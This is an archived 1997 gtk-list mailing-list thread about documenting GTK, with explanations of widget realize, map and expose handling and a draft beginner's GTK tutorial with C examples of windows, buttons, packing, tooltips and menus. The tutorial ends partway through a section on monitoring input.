From amundson@cs.umn.edu
Received: (qmail 7000 invoked from network); 20 Jul 1997 06:15:46 -0000
Received: from augustus-230.cs.umn.edu (HELO augustus-239.cs.umn.edu)
(root@128.101.230.70)
by mail2.redhat.com with SMTP; 20 Jul 1997 06:15:46 -0000
Received: from caesar.cs.umn.edu (amundson@caesar.cs.umn.edu [128.101.230.60])
by augustus-239.cs.umn.edu (8.8.5/8.8.5) with ESMTP id BAA22911
for <gtk-list@redhat.com>; Sun, 20 Jul 1997 01:16:00 -0500 (CDT)
From: Shawn Amundson <amundson@cs.umn.edu>
Received: (from amundson@localhost) by caesar.cs.umn.edu (8.8.3/8.8.0)
id BAA03661 for gtk-list@redhat.com; Sun, 20 Jul 1997 01:15:57 -0500 (CDT)
Message-Id: <199707200615.BAA03661@caesar.cs.umn.edu>
Subject: Re: [gtk-list] Documenting GTK
To: gtk-list@redhat.com
Date: Sun, 20 Jul 1997 01:15:56 -0500 (CDT)
In-Reply-To: <Pine.LNX.3.96.970719130204.23741A-100000@cascadia.a42.com>
from "Jay Painter" at Jul 19, 97 01:18:45 pm
X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Words Of Jay Painter:
>
>I have been thinking about writing a set of CGI scripts which would allow
>us to document GTK calls on the web. The general idea is that there would
>be a web page that you could search for a gtk function on, then edit and
>submit the documentation for the call right there. The changes/additions
>would appear immeadiately on the web site.
>
>My hope is that this would take less coordination than the tekinfo
>documents, and would make it more reasonable for people to contribute
>small amounts of documentation.
>
>Comments?
>
Excellent idea.
You should restrict access by username/password and perhaps
work in RCS to control the revisions.
Perhaps there is interest in having the FAQ maintained the
same way?
--
Shawn T. Amundson University of Minnesota
Systems Administration Computer Science System Staff
amundson@cs.umn.edu http://www.cs.umn.edu/~amundson/
Count your friends, it won't take long; including yourself, you'll
find you only have one; you better have fun. -- Cathrine
From raph@acm.org
Received: (qmail 11340 invoked from network); 20 Jul 1997 06:52:02 -0000
Received: from blacklodge.c2.net (208.139.36.35)
by mail2.redhat.com with SMTP; 20 Jul 1997 06:52:02 -0000
Received: (from raph@localhost) by blacklodge.c2.net (8.8.5/8.7.3)
id XAA05776; Sat, 19 Jul 1997 23:52:00 -0700 (PDT)
Date: Sat, 19 Jul 1997 23:52:00 -0700 (PDT)
From: Raph Levien <raph@acm.org>
X-Sender: raph@blacklodge.c2.net
To: Hoek <hoek@pcjeroen.ubu.ruu.nl>
cc: gtk-list@redhat.com
Subject: Re: [gtk-list] Re: Documenting GTK
In-Reply-To: <199707200032.CAA02567@pcjeroen.ubu.ruu.nl>
Message-ID: <Pine.BSF.3.91.970719233721.5449A-100000@blacklodge.c2.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
> Well, I certainly would like to help. At the moment, I'm writing some
> programs using gtk and the main difficulty is to understand some of the
> basic concepts. For instance, I haven't figured out what mapping and
> realizing is. If someone can help me out to gain some overall insights,
> it would be great. From there on, I can figure out what I need and
> document it at the same time. The format is no problem, I can write it
> in Texinfo, html or anything you want (except Ms word :-). I'm also
> willing to (help) coordinate this.
I'll try to tackle this one.
Realizing and mapping are part of the widget's "lifecycle". In general,
allocating X resources happens in the realize stage (creating the X
window if the widget has its own window, loading pixmaps, etc.). When the
widget is to actually be made visible on the display, the map method is
called. Again, for widgets with their own windows, this generally
translates into a call to gdk_window_show (), which itself is a wrapper
for XMapWindow. Widgets without their own windows usually just get drawn.
The complete lifecycle for a widget looks something like this: new, init,
more initialization code in the new() method of the widget itself,
size_allocate, size_request, realize, map, events (any number of times),
unmap, unrealize, destroy. Actually, the whole sequence from map to unmap
can be repeated any number of times if gtk_widget_show and
gtk_widget_hide are used -- that's one reason why the distinction between
realize and map exists. Events include all kinds of things, including
mouse and keyboard, expose, focus, etc. Draw and paint also fit in
somewhere, but I'm not too clear on the precise distinction between draw,
paint, and expose.
I hope this is helpful. I definitely agree that this area of GTK could
stand to use some real documentation.
Raph
From otaylor@cu-dialup-2223.cit.cornell.edu
Received: (qmail 11593 invoked from network); 20 Jul 1997 14:03:20 -0000
Received: from cu-dialup-2223.cit.cornell.edu (qmailr@128.253.44.93)
by mail2.redhat.com with SMTP; 20 Jul 1997 14:03:19 -0000
Received: (qmail 427 invoked from smtpd); 20 Jul 1997 14:05:04 -0000
Received: from localhost (HELO cu-dialup-2223.cit.cornell.edu) (otaylor@127.0.0.1)
by localhost with SMTP; 20 Jul 1997 14:05:04 -0000
From: Owen Taylor <owt1@cornell.edu>
To: gtk-list@redhat.com
Subject: Re: [gtk-list] Re: Documenting GTK
In-reply-to: Your message of "Sat, 19 Jul 1997 23:52:00 PDT."
<Pine.BSF.3.91.970719233721.5449A-100000@blacklodge.c2.net>
Date: Sun, 20 Jul 1997 10:05:02 -0400
Sender: otaylor@cu-dialup-2223.cit.cornell.edu
> [ ... ] Events include all kinds of things, including
> mouse and keyboard, expose, focus, etc. Draw and paint also fit in
> somewhere, but I'm not too clear on the precise distinction between draw,
> paint, and expose.
I'll try to follow up here, and explain a bit, though I won't claim
to know all the subtlities myself:
A widget can learn about the need to redraw itself in two ways:
1) A "expose_event" signal is sent to the widget when part of the
window is uncovered. (For instance, when an obscuring window is
moved or the window is initially mapped.) This typically comes
from an X Expose event.
2) Either the toolkit or the application may call
gtk_widget_draw(GtkWidget *widget, GdkRectangle *area) to indicate
that some part (or all, if area=NULL) of the widget needs to
be redrawn. This then triggers the sending of a "draw" signal
to the widget.
Note that the default handler for the "draw" signal is generate an
"expose_event" signal for the affected area, so a simple widget which
doesn't care about the difference (for instance, child classes of
GtkMisc, such as GtkLabel, or GtkArrow), can simply have a handler
for the "expose_event" signal.
Descendants of GtkContainer however, need to send the proper type
of signal to any child widgets which intersect the affected area.
Thus, they need handlers for both types of event. If the container
widget does not simply contain its child widgets, but also adds
additional ornamentation, then, to avoid duplicating the code that
draws the ornamentation between the "draw" and "expose_event"
handlers, it is of often useful to put that code into a separate
subroutine, typically called gtk_foo_paint.
----
My original objections to the scheme of web based documentation were
two-fold: first it seemed that the chunk of documentation was a bit
too small - I'm not sure you can document the typical widget
coherently by _just_ writing separate descriptions of its member
functions, signals, and options, and there is a lot of work to be done
just to figure out what these are. Second, there is a lot of work to
be done to go from a plain text form to the final form (adding markup,
and editing each widget). Both of these boil down to seeing the scheme
as being a lot of work for the maintainer, so if Jay thinks he can
handle it, I'm not going to complain.
But it might still be nice to have the option of allowing potential
documentors to submit larger chunks (in TexInfo?). I'd much rather
write a couple of pages in a text editor than spend an hour online
filling in boxes on web forms.
Regards,
Owen
From slow@intergate.bc.ca
Received: (qmail 2907 invoked from network); 31 Jul 1997 06:52:46 -0000
Received: from softdnserror (HELO diablo.intergate.bc.ca) (root@207.34.179.2)
by mail2.redhat.com with SMTP; 31 Jul 1997 06:52:45 -0000
Received: from slow (imain@pm16s27.intergate.bc.ca [207.34.180.132])
by diablo.intergate.bc.ca (8.8.5/8.6.9) with SMTP id AAA16627 for
<gtk-list@redhat.com>; Thu, 31 Jul 1997 00:10:57 -0700 (PDT)
Date: Wed, 30 Jul 1997 23:53:57 -0700 (PDT)
From: Ian Main <slow@intergate.bc.ca>
X-Sender: imain@slow
To: gtk-list@redhat.com
Subject: YATU - Yet Another Tutorial Update
In-Reply-To: <Pine.LNX.3.96.970730222248.27493Q-100000@slow>
Message-ID: <Pine.LNX.3.96.970730235117.27493U-100000@slow>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Here you are.
If anyone wants to convert it to SGML please feel free :)
Also, if someone who has used tooltips could take a look at that section
and fill in all the blanks it'd be much appreciated.
Thanks,
Ian
INTRODUCTION:
GTK (GIMP Toolkit) was originally developed as a toolkit for the GIMP
(General Image Manipulation Program). GTK is built on top of GDK (GIMP
Drawing Kit) which is basically wrapper around the Xlib functions. It's
called the GIMP toolkit because it was original written for developing
the GIMP, but has now been used in several free software projects. The
authors are
Peter Mattis <petm@xcf.berkeley.edu>
Spencer Kimball <spencer@xcf.berkeley.edu>
Josh MacDonald <jmacd@xcf.berkeley.edu>
GTK is essentially an object oriented API. Although written completely in
C, it is implemented using the idea of classes, and callback functions
(pointers to functions).
There is also a third component called glib which contains a few
replacements for printf, malloc etc. These are used to increase gtk's
portability, as some of the functions implemented here are not available on
all unicies. Some also contain enhancements to the libc versions (such as
g_malloc), and others (such as g_strerror) will even pop up windows for you
printing your error string.
This tutorial is a compilation of other documentation found on gtk, as
well as some I've added and changed. It is by no means complete. This
tutorial assumes a good understanding of C, and how to create C programs.
Note that there is also a C++ API for gtk (gtk--) in the works, so if you
prefer to use C++, you should look into this instead.
GETTING STARTED
The first thing to do of course, is download the gtk source and install
it. You can either get the distro with GIMP, or d/l it from Peter
Mattis's home dir ftp.xcf.berkely.edu/pub/pmattis (Hope this is ok :) ..
may change ?).
We'll start with the simplest GTK program possible. This program will
create a 200x200 pixel window and has no way of exiting except to be
killed using the shell or window manager.
#include <gtk/gtk.h>
int main (int argc, char *argv[])
{
GtkWidget *window;
gtk_init (&argc, &argv);
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_widget_show (window);
gtk_main ();
return 0;
}
All programs will of course include the gtk/gtk.h which declares the
variables and functions used in your gtk application.
The next line
gtk_init (&argc, &argv);
calls the function gtk_init(gint *argc, gchar ***argv) which will be
called in all gtk applications. This sets up a few things for us such
as the default visual and colormap and then proceeds to call
gdk_init(gint *argc, gchar ***argv). This function initializes the
library for use, sets up default signal handlers, and checks the
arguements passed to your application on the command line, looking for one
of the following:
--display
--debug-level
--no-xshm
--sync
--show-events
--no-show-events
It removes these from the arguement list, leaving anything it does
not recognize for your application to parse or ignore. This creates a set
of standard arguments excepted by all gtk applications.
The next two lines of code create and display a window.
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_widget_show (window);
The GTK_WINDOW_TOPLEVEL argument specifies that we want the window to
undergo window manager decoration and placement. Rather than create a
window of 0x0 size, a window without children is set to 200x200 by default
so you can still manipulate it.
The last line enters the GTK main processing loop.
gtk_main ();
gtk_main() is another call you will see in every gtk application. When
control reaches this point, gtk will sleep waiting for X events (such as
button or keypresses) to occur.
In our simple example however, no events will be registered.
HELLO WORLD IN GTK
OK, now for a program with a widget (a button). It's the classic hello
world ala gtk. This would make a good base for a new gtk application.
#include <gtk/gtk.h>
/* this is a callback function. the data arguments are ignored in this example..
* More on callbacks below. */
void hello (GtkWidget *widget, gpointer *data)
{
g_print ("Hello World\n");
}
/* another callback */
void destroy (void)
{
gtk_main_quit ();
}
int main (int argc, char *argv[])
{
/* GtkWidget is the storage type for widgets */
GtkWidget *window;
GtkWidget *button;
/* this is called in all gtk applications. Arguements are parsed from
* the command line and are returned to the application. */
gtk_init (&argc, &argv);
/* create a new window */
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
/* when the window is given the "destroy" signal (this can be given
* by the application, or the window manager, the function destroy
* will be called as defined above. The NULL passed to this function
* is used to pass optional data into this "callback" function. */
gtk_signal_connect (GTK_OBJECT (window), "destroy",
GTK_SIGNAL_FUNC (destroy), NULL);
/* sets the border width of the window. */
gtk_container_border_width (GTK_CONTAINER (window), 10);
/* creates a new button with the label "Hello World". */
button = gtk_button_new_with_label ("Hello World");
/* When the button receives the "clicked" signal, it will call the
* function hello() passing it NULL as it's arguement. The hello() function is
* defined above. */
gtk_signal_connect (GTK_OBJECT (button), "clicked",
GTK_SIGNAL_FUNC (hello), NULL);
/* This will cause the window to be destroyed by calling
* gtk_widget_destroy(window) when "clicked. Again, the destroy
* signal could come from here, or the window manager. */
gtk_signal_connect_object (GTK_OBJECT (button), "clicked",
GTK_SIGNAL_FUNC (gtk_widget_destroy),
GTK_OBJECT (window));
/* this packs the button into the window (a gtk container). */
gtk_container_add (GTK_CONTAINER (window), button);
/* the final step is to display this newly created widget... */
gtk_widget_show (button);
/* and the window */
gtk_widget_show (window);
/* all gtk applications must have a gtk_main(). Control ends here
* and waits for an event to occur (like a key press or mouse event). */
gtk_main ();
return 0;
}
To compile use:
gcc -Wall -g -lgtk -lgdk -lglib -lX11 -lXext -lm hello_world.c -o hello_world
The libraries above must all be in your default search paths, if not, add
-L<library directory> and gcc will look in these directories for the needed
libraries. For instance, on my Debian Linux box, I have to add
-L/usr/X11R6/lib for it to find the X11 libraries.
Now the explanation:
As you can see from this example, it is quite easy to build a simple gtk
application. GTK is an event driven toolkit, which means it will sleep in
gtk_main until an event occurs and control is passed to the appropriate
function. By passing in a pointer to the function to be called when the
appropriate event occurs (by connecting a "signal") we tell the
application what we want to have done with when a given event occurs.
(You may also add timeout functions and IO checks to take control from
gtk_main, this is described in the approprate section.)
The general steps to creating a widget in gtk are:
1) gtk_*_new - one of various functions to create a new widget.
2) connect all signals we wish to use to the appropriate handlers.
3) set the attributes of the widget.
4) pack the widget into a container using gtk_container_add() or
gtk_box_pack_start() (are there others ?).
5) gtk_widget_show()
gtk_widget_show lets gtk know that we are done setting the attributes
of the widget, and it is ready to be displayed. You may also use
gtk_widget_hide to make it disappear again. The order in which you
show the widgets is not important, but I suggest showing the window
last so that it all pops up at once rather than seeing the individual
widgets come up on the screen as they're formed.
EVENTS
When setting up a signal handler (better term ?) we use a call to
gtk_signal_connect(). The deceleration of this function is:
gint gtk_signal_connect (GtkObject *object, gchar *name,
GtkSignalFunc func, gpointer func_data);
There are a few things you'll notice right away from this example. The
gint, gchar etc. are typedefs to int and char respectively. This is done
for portabilities sake. A good example is "gint32" which will be
typedef'd to a 32 bit integer for any platform, whether it be the 64 bit
alpha (int (or short int?)), or the 32 bit Intel (long int or int). The
typedefs are very straight forward and intuitive. They are all defined in
glib/glib.h (which gets included from gtk.h).
The fist arguement to gtk_signal_connect is the object which will generate
the signal, usually a widget (always?). The second of course is the
signal name, followed by the function you wish to be called. This function
is called a "callback" function. Then last arguement is a
pointer to the data you wish to pass to the callback function.
The callback function you specify should be of the form:
void callback_func(GtkWidget *widget, gpointer *callback_data);
Generally, the GtkWidget arguement in the callback is unused.
So, if we wanted to pass the above function some data when a button is
pressed, we use:
gtk_signal_connect (GTK_OBJECT (button), "clicked",
GTK_SIGNAL_FUNC (callback_func), (gpointer) callback_data);
This assumes of course that you have already created a button. The
GTK_OBJECT, GTK_SIGNAL_FUNC are just macros that perform type casting while
adding readability.
Let's take a look at a slightly improved hello world with better examples
of callbacks. This will also introduce us to our next topic, packing
widgets.
#include <gtk/gtk.h>
/* Our new improved callback. The data passed to this function is printed
* to stdout. */
void callback (GtkWidget *widget, gpointer *data)
{
g_print ("Hello again - %s was pressed\n", (char *) data);
}
/* another callback */
void destroy (void)
{
gtk_main_quit ();
}
int main (int argc, char *argv[])
{
/* GtkWidget is the storage type for widgets */
GtkWidget *window;
GtkWidget *button;
GtkWidget *box1;
/* this is called in all gtk applications. Arguements are parsed from
* the command line and are returned to the application. */
gtk_init (&argc, &argv);
/* create a new window */
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
/* this is a new call, this just sets the title of our
* new window to "Hello Buttons!" */
gtk_window_set_title (GTK_WINDOW (window), "Hello Buttons!");
/* It's a good idea to do this for all windows. */
gtk_signal_connect (GTK_OBJECT (window), "destroy",
GTK_SIGNAL_FUNC (destroy), NULL);
/* sets the border width of the window. */
gtk_container_border_width (GTK_CONTAINER (window), 10);
/* we create a box to pack widgets into. this is described in detail
* in the "packing" section below. The box is not really visible, it
* is just used as a tool to arrange widgets. */
box1 = gtk_hbox_new(FALSE, 0);
/* put the box into the main window. */
gtk_container_add (GTK_CONTAINER (window), box1);
/* creates a new button with the label "Button 1". */
button = gtk_button_new_with_label ("Button 1");
/* Now when the button is clicked, we call the "callback" function
* with a pointer to "button 1" as it's arguement */
gtk_signal_connect (GTK_OBJECT (button), "clicked",
GTK_SIGNAL_FUNC (callback), (gpointer) "button 1");
/* instead of gtk_container_add, we pack this button into the invisible
* box, which has been packed into the window. */
gtk_box_pack_start(GTK_BOX(box1), button, TRUE, TRUE, 0);
/* always remember this step, this tells gtk that our preparation for
* this button is complete, and it can be displayed now. */
gtk_widget_show(button);
/* do these same steps again to create a second button */
button = gtk_button_new_with_label ("Button 2");
/* call the same callback function with a different arguement,
* passing a pointer to "button 2" instead. */
gtk_signal_connect (GTK_OBJECT (button), "clicked",
GTK_SIGNAL_FUNC (callback), (gpointer) "button 2");
gtk_box_pack_start(GTK_BOX(box1), button, TRUE, TRUE, 0);
/* we show the widgets in the reverse order we created them,
* someone want to explain to me why ?? :) or is it even
* necessary ? */
gtk_widget_show(button);
gtk_widget_show(box1);
gtk_widget_show (window);
/* rest in gtk_main and wait for the fun to begin! */
gtk_main ();
return 0;
}
Compile this program using the same linking arguements as above. You'll notice in
this example there is no easy way to exit the program, you have to use
your window manager or command line to kill it. A good exercise for the
reader would be to insert a third "Quit" button that will exit the
program. Try playing with resizing the window.
PACKING
When creating an application, you'll want to put more than one button
inside a window. Our first hello world example only used one widget so we
could simply use a gtk_container_add call to "pack" the widget into the
window. But when you want to put more than one widget into a window, how
do you control where that widget is positioned ? This is where packing
comes in.
Most packing is done by creating boxes as in the example above. These are
invisible widget containers that we can pack our widgets into and come in
two forms, a horizontal box, and a vertical box. When packing widgets
into a horizontal box, the objects are inserted horizontally from left to
right or right to left depending on the call used. In a vertical box,
widgets are packed from top to bottom or vice versa. You may use any
combination of boxes inside or beside other boxes to create the desired
effect.
To create a new horizontal box, we use a call to gtk_hbox_new(), and for
vertical boxes, gtk_vbox_new(). The gtk_box_pack_start() and
gtk_box_pack_end() functions are used to place objects inside of these
containers. The gtk_box_pack_start() function will start at the top and
work its way down in a vbox, and pack left to right in an hbox.
gtk_box_pack_end() will do the opposite, packing from bottom to top in a
vbox, and right to left in an hbox. Using these functions allow us to
right justify or left justify our widgets and may be mixed in any way to
achieve the desired effect. We will use gtk_box_pack_start() in most of
our examples. An object may be another container or a widget. And in
fact, many widgets are actually containers themselves including the
button, but we usually only use a label inside a button.
By using these calls, gtk knows where you want to place your widgets so it
can do automatic resizing and other nifty things. there's also a number
of options as to how your widgets should be packed. As you can imagine,
this method gives us a quite a bit of flexibility when placing and
creating widgets.
Because of this flexibility, packing boxes in GTK+ can be confusing at
first. There are a lot of options, and it's not immediately obvious how
they all fit together. In the end however, there are basically five
different styles you can get.
<p align=center> <img src="packbox1.gif" width=528 height=235> </p>
Each line contains one horizontal box (hbox) with several buttons. The
call to gtk_box_pack is shorthand for the call to pack each of the buttons
into the hbox. Each of the buttons is packed into the hbox the same way
(i.e. same arguments to the gtk_box_pack_start () function).
This is the declaration of the gtk_box_pack_start function.
void gtk_box_pack_start (GtkBox *box,
GtkWidget *child,
gint expand,
gint fill,
gint padding);
The first arguement is the box you are packing the object into, the second
is this object. The objects will all be buttons for now, so we'll be
packing buttons into boxes.
The expand argument to gtk_box_pack_start() or gtk_box_pack_end() controls
whether the widgets are laid out in the box to fill in all the extra space
in the box so the box is expanded to fill the area alloted to it (TRUE).
Or the box is shrunk to just fit the widgets (FALSE). Setting expand to
FALSE will allow you to do right and left
justifying of your widgets. Otherwise, they will all expand to fit in the
box, and the same effect could be achieved by using only one of
gtk_box_pack_start or pack_end functions.
The fill argument to the gtk_box_pack functions control whether the extra
space is allocated to the objects themselves (TRUE), or as extra padding
in the box around these objects (FALSE). It only has an effect if the
expand argument is also TRUE.
[does the above sound right to you ?]
When creating a new box, the function looks like this:
GtkWidget * gtk_hbox_new (gint homogeneous,
gint spacing);
The homogeneous argument to gtk_hbox_new (and the same for gtk_vbox_new)
controls whether each object in the box has the same size (i.e. the same
width in an hbox, or the same height in a vbox). If it is set, the expand
argument to the gtk_box_pack routines is always turned on.
What's the difference between spacing (set when the box is created) and
adding (set when elements are packed)? Spacing is added between objects,
and padding is added on either side of an object. The following figure
should make it clearer:
<p align=center> <img src="packbox2.gif" width=509 height=213> </p>
WIDGETS
The stock GTK+ distro comes with the following widgets and functions:
> Buttons
* Toggle Buttons
* Check Buttons
* Radio Buttons
* Tooltips
> Menus
* Scrolled Windows
* Entries
* Lists
* Color Selections
* File Selections
* Dialogs
* Range Controls
* Rulers
* Text Boxes
* Notebooks
* Progress Bars
* Preview Color (good name ?)
* Grey Previews
* Curves
* Pixmaps
> Timeouts
> Idle Calls
> File Descriptor Input Checking
[A section on..
* creating your own widgets
* advanced signal stuff
* more ?
]
We'll further our exploration of gtk by examining each widget in turn,
creating a few simple functions to display them. Another good source is
the testgtk.c program that comes with gtk. It can be found in
gtk/testgtk.c.
BUTTONS
We've almost seen all there is to see of the button widget. It's pretty
simple. There is however two ways to create a button. You can use the
gtk_button_new_with_label() to create a button with a label, or use
gtk_button_new() to create a blank button. It's then up to you to pack a
label or pixmap into this new button. To do this, create a new box, and
then pack your objects into this box using the usual gtk_box_pack_start,
and then use gtk_container_add to pack the box into the button.
Here's an example of using gtk_button_new to create a button with a
picture and a label in it. I've broken the code to create a box up from
the rest so you can use it in your programs.
#include <gtk/gtk.h>
/* create a new hbox with an image and a label packed into it
* and return the box.. */
GtkWidget *xpm_label_box (GtkWidget *parent, gchar *xpm_filename, gchar *label_text)
{
GtkWidget *box1;
GtkWidget *label;
GtkWidget *pixmapwid;
GdkPixmap *pixmap;
GdkBitmap *mask;
GtkStyle *style;
/* create box for xpm and label */
box1 = gtk_hbox_new (FALSE, 0);
gtk_container_border_width (GTK_CONTAINER (box1), 2);
/* get style of button.. I assume it's to get the background color.
* if someone knows the real reason, please enlighten me. */
style = gtk_widget_get_style(parent);
/* now on to the xpm stuff.. load xpm */
pixmap = gdk_pixmap_create_from_xpm (parent->window, &mask,
&style->bg[GTK_STATE_NORMAL],
xpm_filename);
pixmapwid = gtk_pixmap_new (pixmap, mask);
/* create label for button */
label = gtk_label_new (label_text);
/* pack the pixmap and label into the box */
gtk_box_pack_start (GTK_BOX (box1),
pixmapwid, FALSE, FALSE, 3);
gtk_box_pack_start (GTK_BOX (box1), label, FALSE, FALSE, 3);
gtk_widget_show(pixmapwid);
gtk_widget_show(label);
return (box1);
}
/* our usual callback function */
void callback (GtkWidget *widget, gpointer *data)
{
g_print ("Hello again - %s was pressed\n", (char *) data);
}
int main (int argc, char *argv[])
{
/* GtkWidget is the storage type for widgets */
GtkWidget *window;
GtkWidget *button;
GtkWidget *box1;
gtk_init (&argc, &argv);
/* create a new window */
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Pixmap'd Buttons!");
/* It's a good idea to do this for all windows. */
gtk_signal_connect (GTK_OBJECT (window), "destroy",
GTK_SIGNAL_FUNC (gtk_exit), NULL);
/* sets the border width of the window. */
gtk_container_border_width (GTK_CONTAINER (window), 10);
/* create a new button */
button = gtk_button_new ();
/* You should be getting used to seeing most of these functions by now */
gtk_signal_connect (GTK_OBJECT (button), "clicked",
GTK_SIGNAL_FUNC (callback), (gpointer) "cool button");
/* this calls our box creating function */
box1 = xpm_label_box(window, "info.xpm", "cool button");
/* pack and show all our widgets */
gtk_widget_show(box1);
gtk_container_add (GTK_CONTAINER (button), box1);
gtk_widget_show(button);
gtk_container_add (GTK_CONTAINER (window), button);
gtk_widget_show (window);
/* rest in gtk_main and wait for the fun to begin! */
gtk_main ();
return 0;
}
The xpm_label_box function can be used to put xpm's and labels in many
different widgets (I think :-).
TOOLTIPS
These are the little text strings that pop up when you leave your pointer
over a button or other widget for a few seconds. They are easy to use, so I
will just explain them without giving an example. If you want to see some
code, take a look at the testgtk.c program distributed with gtk.
The first call you will use to create a new tooltip. You only need to do
this once in a given function. The GtkTooltip this function returns can be
used to create multiple tooltips.
GtkTooltips *gtk_tooltips_new (void);
Once you have created a new tooltip, and the widget you wish to use it on,
simply use this call to set it.
void gtk_tooltips_set_tips (GtkTooltips *tooltips,
GtkWidget *widget,
gchar *tips_text);
The first arguement is the tooltip you've already created, followed by the
widget you wish to have this tooltip pop up for, and the text you wish it to
say.
Here's a short example:
GtkTooltips *tooltips;
GtkWidget *button;
...
tooltips = gtk_tooltips_new ();
button = gtk_button_new_with_label ("button 1");
...
gtk_tooltips_set_tips (tooltips, button, "This is button 1");
There are other calls used with tooltips. I will just list them with a
breif description of what they do.
void gtk_tooltips_destroy (GtkTooltips *tooltips);
Destroy the created tooltips.
void gtk_tooltips_enable (GtkTooltips *tooltips);
Enable a disabled set of tooltips.
void gtk_tooltips_disable (GtkTooltips *tooltips);
Disable an enabled set of tooltips.
void gtk_tooltips_set_delay (GtkTooltips *tooltips,
gint delay);
void gtk_tooltips_set_tips
(GtkTooltips *tooltips,
GtkWidget *widget,
gchar *tips_text);
Sets how long you have to hold you pointer over the widget before the
tooltip will pop up. I have no idea what all them extra things are or what
time measurement is used for the delay.
void gtk_tooltips_set_colors (GtkTooltips *tooltips,
GdkColor *background,
GdkColor *foreground);
Set the foreground and background color of the tooltips. Again, I have no
idea how to specify the colors.
And that's all the functions associated with tooltips. More than you'll
ever want to know :)
MENUS
There are two ways to create menus, there's the easy way, and there's the
hard way. Both have their uses, but you can usually use the menu_factory
(the easy way). The "hard" way is to create all the menus using the calls
directly. The easy way is to use the gtk_menu_factory calls. This is
much simpler, but I've had problems because of the '/' that is used to
seperated menus. Other than this, there is no real reason to use the
manual method (is this true ??)
In the true tradition of teaching, we'll show you the hard
way first. :)
Let's look at the functions that are used to create menus.
This first function is used to create a new menu.
GtkWidget *gtk_menu_bar_new()
This rather self explanatory function creates a new menu bar. You use
gtk_container_add to pack this into a window, or the box_pack functions to
pack it into a box - the same as buttons.
GtkWidget *gtk_menu_new();
This function returns a pointer to a new menu, it is never actually shown
(with gtk_widget_show), it just holds the menu items. Hopefully this will
become more clear when you look at the example below.
The next two calls are used to create menu items that are packed into
the menu.
GtkWidget *gtk_menu_item_new()
and
GtkWidget *gtk_menu_item_new_with_label(const char *label)
These calls are used to create the menus that are to be displayed.
Remember to differentiate between a "menu" as created with gtk_menu_new
and a "menu item" as created by the gtk_menu_item_new functions. The
menu item will be an actual button with an associated action,
whereas a menu will be a container holding these
gtk_menu_item_append()
gtk_menu_item_set_submenu()
The gtk_menu_new_with_label and plain gtk_menu_new functions are just
as you'd expect after
reading about the buttons. One creates a new menu item with a label
already packed into it, and the other just creates a blank menu item.
The steps to create a menu are outlined below:
- Create a new menu using gtk_menu_new()
- Create a menu item using gtk_menu_item_new(). This will be the root of
the menu, the text appearing here will be on the menu bar itself.
- Use multiple calls to gtk_menu_item_new for each item you wish to have on
your menu. And use gtk_menu_item_append() to put each of these new items on
together. This creates a list of menu items.
- Use gtk_menu_item_set_submenu() to attach the newly created menu_items to
the root menu item (The one created in the second step).
- Create a new menu bar using gtk_menu_bar_new. This step only needs
to be done once when creating a series of menus on one menu bar.
- Use gtk_menu_bar_append to put the root menu onto the menubar.
And that should about do it. Let's take a look at an example to help clarify.
#include <gtk/gtk.h>
int main (int argc, char *argv[])
{
GtkWidget *window;
GtkWidget *menu;
GtkWidget *menu_bar;
GtkWidget *root_menu;
GtkWidget *menu_items;
char buf[128];
int i;
gtk_init (&argc, &argv);
/* create a new window */
window = gtk_window_new(GTK_WINDOW_TOPLEVEL);
gtk_window_set_title(GTK_WINDOW (window), "GTK Menu Test");
gtk_signal_connect(GTK_OBJECT (window), "destroy",
(GtkSignalFunc) gtk_exit, NULL);
/* Init the menu-widget, and remember -- never
* gtk_show_widget() the menu widget!! */
menu = gtk_menu_new();
/* This is the root menu, and will be the label will be the menu name displayed on
* the menu bar. There won't be
* a signal handler attached, as it only pops up the rest of the menu when pressed. */
root_menu = gtk_menu_item_new_with_label("Root Menu");
gtk_widget_show(root_menu);
/* Next we make a little loop that makes three menu-entries for "test-menu".
* Notice the call to gtk_menu_append. Here we are adding a list of menu items
* to our menu. Normally, we'd also catch the "clicked" signal on each of the
* menu items and setup a callback for it, but it's omitted here to save space. */
for(i = 0; i < 3; i++)
{
/* Copy the names to the buf. */
sprintf(buf, "Test-undermenu - %d", i);
/* Create a new menu-item with a name... */
menu_items = gtk_menu_item_new_with_label(buf);
/* ...and add it to the menu. */
gtk_menu_append(GTK_MENU (menu), menu_items);
/* Show the widget */
gtk_widget_show(menu_items);
}
/* Now we specify that we want our newly created "menu"
to be the menu for the "root menu" */
gtk_menu_item_set_submenu(GTK_MENU_ITEM (root_menu), menu);
/* Create a menu-bar to hold the menus and add it to our main window*/
menu_bar = gtk_menu_bar_new();
gtk_container_add(GTK_CONTAINER(window), menu_bar);
gtk_widget_show(menu_bar);
/* And finally we append the menu-item to the menu-bar -- this is the "root"
* menu-item I have been raving about =) */
gtk_menu_bar_append(GTK_MENU_BAR (menu_bar), root_menu);
/* always display the window as the last step so it all
splashes on the screen at once. */
gtk_widget_show(window);
gtk_main ();
return 0;
}
You may also set a menu item to be insensitive or, using an accelerator
table, bind keys to menu functions.
[ maybe insert a few calls or something ]
Now that we've shown you the hard way, here's how you do it using the
gtk_menu_factory calls.
[ gtk_menu_factory example and explanation ]
TIMEOUTS, IO, AND IDLE FUNCTIONS
TIMEOUTS
You may be wondering how you make gtk do useful work when in gtk_main.
Well, you have several options. Using the following functions you can
create a timeout function.
gint gtk_timeout_add (guint32 interval,
GtkFunction function,
gpointer data);
The first arguement is the number of milliseconds [doublecheck this]
between calls to your function. The second arguement is the function
you wish to have called, and
the third, the data passed to this callback function. The return value is
an integer "tag" which may be used to stop the timeout by calling:
void gtk_timeout_remove (gint tag);
You may also stop the timeout function by returning zero or FALSE from
your callback function. Obviously this means if you want your function to
continue to be called, it should return a non-negative value, ie TRUE.
The declaration of you callback should look something like this:
gint timeout_callback (gpointer data);
MONITORING IO
Another nifty feature of gtk, is the ability to have it check for data on a
file descriptor for you (as returned by open(2) or socket(2)). This is
especially useful for networking applications. The function:
gint gdk_input_add (gint source,
